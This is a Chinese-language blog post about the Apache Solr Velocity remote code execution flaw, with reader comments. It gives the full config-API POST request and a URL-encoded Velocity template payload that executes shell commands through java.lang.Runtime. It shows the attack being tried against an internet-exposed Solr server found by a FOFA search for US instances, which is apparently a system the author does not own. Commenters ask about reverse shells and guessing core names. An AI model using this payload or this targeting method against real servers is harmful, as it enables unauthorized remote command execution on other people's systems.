Apache Solr Velocity RCE

Allexy@KillBoy
Allexy@KillBoy
作者
2
文章
0
粉丝
渗透测试308,6751字数 636阅读2分7秒阅读模式
摘要Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通...
AI智能摘要
Apache Solr的这个Velocity模板漏洞正在威胁数万家企业服务器!攻击者只需通过简单的配置修改,就能在服务器上执行任意命令。从5.x到8.2.0版本无一幸免,这个高危漏洞让企业核心数据暴露在风险之下。想知道如何检测和防御这种致命攻击?本文完整披露漏洞利用细节和防护方案。
— AI 生成的文章内容摘要

Solr
Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

漏洞产生原因
该漏洞的产生是由于两方面的原因:

当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。(来自360CERT)

影响范围
Apache Solr 5.x - 8.2.0,存在config API版本

复现过程
FOFA大法好啊

app="Solr" && country="US"

有个5.5.0版本的,试试

Apache Solr Velocity RCE-图片1

需要知道core的名称才能进行下一步操作

Apache Solr Velocity RCE-图片2

/solr/documents_shard1_replica1/config目录post以下数据,旨在修改core的配置信息。

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

完整POST数据包,修改core配置。

POST /solr/documents_shard1_replica1/config HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 263

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

出现下面的Response信息则表示修改成功。

Apache Solr Velocity RCE-图片3

EXP

http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity RCE-图片4

http://ip:port/documents_shard1_replica1/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

Apache Solr Velocity RCE-图片5

顺手也测了一下8.1.1版本的

Apache Solr Velocity RCE-图片6

 
Allexy@KillBoy
评论  30  访客  30
    • 搞笑喷射器
      搞笑喷射器 0

      这漏洞复现步骤写得挺细,不过5.5.0真有人还在用?

      • 灵雾隐
        灵雾隐 0

        params.resource.loader.enabled默认不是false吗,谁会手贱开true啊🤔

        • 代码骑士
          代码骑士 0

          前几天刚给公司Solr打补丁,正好踩过这个坑

          • Alien小外星人
            Alien小外星人 0

            美国的Solr实例这么多?FOFA搜出来一堆没关config API的

              • 纳米狂潮
                纳米狂潮 1

                @ Alien小外星人 1928那哥们说得对,国外确实很多实例没做安全配置。

              • 云游者
                云游者 0

                ls和id命令都试了,但反弹shell好像没提,有老哥成功过没?

                • 甜蜜的棉花糖
                  甜蜜的棉花糖 0

                  8.1.1也中招?还以为新版修了呢,结果还是翻车

                    • 啪唧鱼
                      啪唧鱼 0

                      @ 甜蜜的棉花糖 core名称可以看看有没有默认的collection1这种。

                    • 静夜歌
                      静夜歌 0

                      截图里那个“solrCore Initialization Failure”是不是说明已经触发了?

                        • 暖风
                          暖风 1

                          @ 静夜歌 看截图里的错误日志,感觉是触发后服务挂掉了。

                        • 幻光守护者
                          幻光守护者 1

                          感觉一般,这种RCE现在扫一遍基本都修了

                          • 躺平
                            躺平 0

                            求问core名称怎么快速枚举?一个个猜太费劲了

                              • 金鳞貔貅
                                金鳞貔貅 1

                                @ 躺平 这复现步骤写得挺细,不过5.5.0真有人还在用?

                              • 轻功绝顶
                                轻功绝顶 1

                                Velocity模板还能这么玩,Java反序列化真是永动机666

                                  • 液态星星
                                    液态星星 0

                                    @ 轻功绝顶 Java这套东西真是,一个漏洞能衍生出无数种玩法。

                                    • 话痨小明
                                      话痨小明 0

                                      @ 轻功绝顶 反弹shell得看环境吧,直接执行命令不一定能弹回来,得构造一下。

                                    • 幻影星轨
                                      幻影星轨 0

                                      这复现步骤够详细,照着做应该能跑通。

                                      • 社牛小猎豹
                                        社牛小猎豹 1

                                        弱弱问一下,这个漏洞必须要有config API权限吗?

                                        • 弦歌
                                          弦歌 1

                                          之前用AWVS扫到过类似的,不过没深入搞。

                                          • 灵猫魔术师
                                            灵猫魔术师 0

                                            所以这个漏洞的本质还是参数可控导致的模板注入?

                                            • 嚣张的火焰
                                              嚣张的火焰 1

                                              那堆exp代码看着头大,有没有一键脚本啊?

                                              • 金石为开
                                                金石为开 0

                                                老外那边对这个漏洞的讨论好像不多,热度一般。

                                                • 寒霜之影
                                                  寒霜之影 1

                                                  要是没开那个params.resource.loader.enabled是不是就安全了?

                                                  • 阿宁
                                                    阿宁 1

                                                    FOFA里搜Solr,发现好多默认配置没改,直接暴露在外面,心真大。

                                                    • 琼楼梦
                                                      琼楼梦 1

                                                      Java这块的洞真是层出不穷,之前log4j也是,感觉框架用的人越多越危险。

                                                      • 雾中跳舞的树
                                                        雾中跳舞的树 0

                                                        要是比特币跌回3万他们还能撑住不?

                                                        • 风暴掌控者
                                                          风暴掌控者 1

                                                          所以本质上还是参数可控导致的模板注入?

                                                          • Rex王者
                                                            Rex王者 1

                                                            这个漏洞挺典型的,配置默认开启风险就来了。

                                                              • 元素之翼
                                                                元素之翼 1

                                                                @ Rex王者 很多默认配置都存在这种隐患。

                                                              • 金枝贵人
                                                                金枝贵人 0

                                                                这个漏洞必须要有config API权限吗?

                                                              匿名

                                                              发表评论

                                                              匿名网友

                                                              拖动滑块以完成验证